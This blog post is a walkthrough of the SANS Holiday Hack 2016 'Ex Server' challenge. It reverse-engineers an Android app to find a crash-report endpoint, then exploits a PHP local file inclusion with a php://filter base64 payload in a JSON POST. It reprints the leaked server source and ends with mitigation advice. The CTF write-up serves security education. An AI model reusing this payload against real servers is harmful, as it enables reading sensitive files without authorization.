Thursday, January 5, 2017

SANS Holiday Hack 2016-Ex Server

Ex Server

Goal:

Retrieve discombobulated audio file 6.

Tools:

Apktool
JadX
Firefox Developer Tools or Burp

OS:

Kali Linux VM-to use apktool, JadX, Firefox Developer Tools, & Burp

Disassemble the apk with preferred tools:

JadX
  
Make sure to use whatever path that you used that contains the apk.
/jadx/build/jadx/bin/jadx <path to apk>
Example:
/jadx/build/jadx/bin/jadx SantaGram_4.2.apk

Reverse engineer the apk to find the code for the Ex Server.  The following was done in JadX.

The url that needed to be tested was found in the Resources>resources.arsc>values>strings.xml. The url is http://ex.northpolewonderland.com/exception.php.

Disassemble the apk with your preferred tools:  JadX, Android Studio, and apktool, for example.  Reverse engineer the apk to find the code for the exceptions.  The path in this case was com.northpolewonderland.santagram.b.

  public static void a(final Context context, Throwable th) {
        final JSONObject jSONObject = new JSONObject();  //Create a JSON Object
        Log.i(context.getString(R.string.TAG), "Exception: sending exception data to " + context.getString(R.string.exhandler_url));
        //tell the user that exception data is being sent to the exception handler url.
        try {
            jSONObject.put("operation", “WriteCrashDump");  //put the name operation with the value 
            WriteCrashDump in the JSON  Object
            JSONObject jSONObject2 = new JSONObject();  //Create another JSON Object
            jSONObject2.put("message", th.getMessage());
            jSONObject2.put("lmessage", th.getLocalizedMessage());
            jSONObject2.put("strace", Log.getStackTraceString(th));
            jSONObject2.put("model", Build.MODEL);
            jSONObject2.put("sdkint", String.valueOf(VERSION.SDK_INT));
            jSONObject2.put("device", Build.DEVICE);
            jSONObject2.put("product", Build.PRODUCT);
            jSONObject2.put("lversion", System.getProperty("os.version"));
            jSONObject2.put("vmheapsz", String.valueOf(Runtime.getRuntime().totalMemory()));
            jSONObject2.put("vmallocmem", String.valueOf(Runtime.getRuntime().totalMemory() - 
            Runtime.getRuntime().freeMemory()));
            jSONObject2.put("vmheapszlimit", String.valueOf(Runtime.getRuntime().maxMemory()));
            jSONObject2.put("natallocmem", String.valueOf(Debug.getNativeHeapAllocatedSize()));
            jSONObject2.put("cpuusage", String.valueOf(a()));
            jSONObject2.put("totalstor", String.valueOf(b()));
            jSONObject2.put("freestor", String.valueOf(c()));
            jSONObject2.put("busystor", String.valueOf(d()));
            jSONObject2.put("udid", Secure.getString(context.getContentResolver(), “android_id"));
            
           //put message, lmessage, strike, model, sdkint, device, product, lversion, vmheapsz, vmallocmem, 
          vmheapszlimit, natallocmem,cpuusage,totalstor, freestor, busystor, udid in the 2nd JSON Object
            jSONObject.put("data", jSONObject2); //put the name “data”, and the value, the 2nd JSON Object, in the 
           1st Object
            new Thread(new Runnable() {
                public void run() {
                    b.a(context.getString(R.string.exhandler_url), jSONObject);  //get the exception url
                }
            }).start(); //send the data to the exception url

There is an operation called WriteCrashDump.  If one manipulates the query using Developer Tools in Firefox, they find that the “operation”,”WriteCrashDump”, and “data” parameters are the only parameters that matter.  The query is is sent as a JSON POST query.
So, the query will look like this:

{“operation”:“WriteCrashDump”,”data”:{””}}

If this is incorrect it will cause an error on server side.

If a crash dump can be written, maybe it can be read as well.  The server was queried for “ReadCrashDump”.  The server error messages for the WriteCrashDump operation gave some of the parameters needed in order to read the crash dump.  So a ReadCrashDump query looks like this:

{“operation”:”ReadCrashDump”,”data”:{“crashdump:”:””}}

One can also find the ReadCrashDump parameters because if the ReadCrashDump operation is wrong, the server sends back an error message denoting the parameters that are needed for ReadCrashDump.

On the server side, the program is handling untrusted data.  The programmer tried to mitigate some of the avenues of exploitation by specifying that the content must be json data.  Making sure that certain parameters were required, and trying to ensure that the output was a string.  However, they didn’t mitigate against everything.  There is a local file inclusion vulnerability in the code.

When one uses the ReadCrashDump method, one could add a php://filter/convert.base64-encode/resource=<sensitive file> as the value in the crashdump value parameter, and the resource requested would be base64 encoded and sent back to the user.  The base64 encoding is easily decoded.  Then the person could read the contents of the file.  The following gives the user the exception source code.  To see the response from the server, a person will have to click on the Response tab in Developer Tools.

{“operation":"ReadCrashDump","data":{"crashdump":"php://filter/convert.base64-encode/resource=exception"}}

The exception.php source code from the server: (More information following the code)

<?php 

# Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3  < sensitive information

# Code from http://thisinterestsme.com/receiving-json-post-data-via-php/
# Make sure that it is a POST request.
if(strcasecmp($_SERVER['REQUEST_METHOD'], 'POST') != 0){
    die("Request method must be POST\n”);  #Trying to make sure that it’s a POST request-gives too much info.
}
 
# Make sure that the content type of the POST request has been set to application/json
$contentType = isset($_SERVER["CONTENT_TYPE"]) ? trim($_SERVER["CONTENT_TYPE"]) : '';
if(strcasecmp($contentType, 'application/json') != 0){
    die("Content type must be: application/json\n”); #trying to make sure that its JSON Content-Type-gives too much info.
}
# Grab the raw POST. Necessary for JSON in particular.
$content = file_get_contents(“php://input"); #<-- php://input-read only method-does not stop base64 encoded data from being exfiltrated, though.
$obj = json_decode($content, true);
# If json_decode failed, the JSON is invalid.
if(!is_array($obj)){
    die("POST contains invalid JSON!\n");
}

# Process the JSON.
if ( ! isset( $obj['operation']) or (
$obj['operation'] !== "WriteCrashDump" and
$obj['operation'] !== "ReadCrashDump"))
{
die("Fatal error! JSON key 'operation' must be set to WriteCrashDump or ReadCrashDump.\n”); # too much info given
}
if ( isset($obj['data'])) {
if ($obj['operation'] === "WriteCrashDump") {
# Write a new crash dump to disk
processCrashDump($obj[‘data']); #trusting raw data-should be sanitized first. 
}
elseif ($obj['operation'] === "ReadCrashDump") {
# Read a crash dump back from disk
readCrashdump($obj[‘data']); #trusting raw data-should be sanitized first.
}
}
else {
# data key unset
die("Fatal error! JSON key 'data' must be set.\n”); #too much info given
}
function processCrashdump($crashdump) {
$basepath = "/var/www/html/docs/";
$outputfilename = tempnam($basepath, "crashdump-");
unlink($outputfilename);
$outputfilename = $outputfilename . ".php";
$basename = basename($outputfilename);
$crashdump_encoded = "<?php print('" . json_encode($crashdump, JSON_PRETTY_PRINT) . "');";
file_put_contents($outputfilename, $crashdump_encoded);
print <<<END
{
"success" : true,
"folder" : "docs",
"crashdump" : "$basename"
}

END;
}
function readCrashdump($requestedCrashdump) {
$basepath = "/var/www/html/docs/";
chdir($basepath);
if ( ! isset($requestedCrashdump['crashdump'])) {
die("Fatal error! JSON key 'crashdump' must be set.\n"); # too much info given
}

if ( substr(strrchr($requestedCrashdump['crashdump'], "."), 1) === "php" ) {
die("Fatal error! crashdump value duplicate '.php' extension detected.\n"); # too much info given
}
else {
require($requestedCrashdump['crashdump'] . '.php');
}
}

?>

Now all a person has to do is navigate to the file and save it.


Mitigation:

The LFI was exploitable because the object “data” is being completely trusted without being sanitized.  Never trust raw data from a client!
It was also exploitable because .php was appended to the end of files, even files where it wasn’t necessary to have it.  The exception resource itself wasn’t being interpreted as php, but the php://filter wrapper was being interpreted as php-php that was designed to apply filters to files at the time of opening. 14
The server shouldn't append .php to the end of all the files.  A better check would be to check the input prior to allowing a dump to be read/written.  Also, check both magic bytes and extensions.  Extensions can easily be manipulated.  
The server shouldn't give parameters in error messages.  
Make certain that the query is coming from a mobile device.  (unless the app can be used on multiple device types.)
Make sure that the data types match server side.  If the data types don’t match in the query, treat it as odd traffic, and drop it.

Only accept the parameters needed and drop anything that doesn’t fit them.

No comments:

Post a Comment